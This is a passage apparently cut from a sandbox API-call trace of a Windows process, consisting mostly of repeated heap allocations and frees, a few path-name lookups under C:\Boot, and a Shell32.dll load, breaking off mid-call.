RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.430] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.432] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.433] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.436] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0116.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.437] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.437] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.437] PathFindFileNameW (pszPath="") returned="" [0116.437] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.437] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.437] GetProcAddress 